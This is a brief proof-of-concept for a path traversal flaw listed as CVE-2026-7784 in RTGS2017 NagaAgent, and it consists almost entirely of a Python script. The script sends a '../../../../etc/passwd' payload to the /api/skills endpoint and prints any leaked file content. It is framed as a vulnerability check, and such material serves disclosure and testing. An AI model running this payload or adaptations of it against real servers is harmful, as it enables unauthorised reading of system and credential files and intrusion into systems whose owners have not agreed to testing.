CVE-2026-7784 RTGS2017 NagaAgent 路径遍历漏洞

import requests def check_path_traversal(url): """Check for Path Traversal vulnerability in CVE-2026-7784""" target_endpoint = f"{url.rstrip('/')}/api/skills" # Common payload to read /etc/passwd on Linux payload = { "Name": "../../../../etc/passwd" } try: print(f"[+] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=payload, timeout=10) if response.status_code == 200: if "root:" in response.text: print("[!] Potential Path Traversal found! Server responded with /etc/passwd content.") print(f"[+] Response snippet:\n{response.text[:200]}") else: print("[-] Request sent, but no standard file content detected.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[x] Error during request: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1:8080" check_path_traversal(target)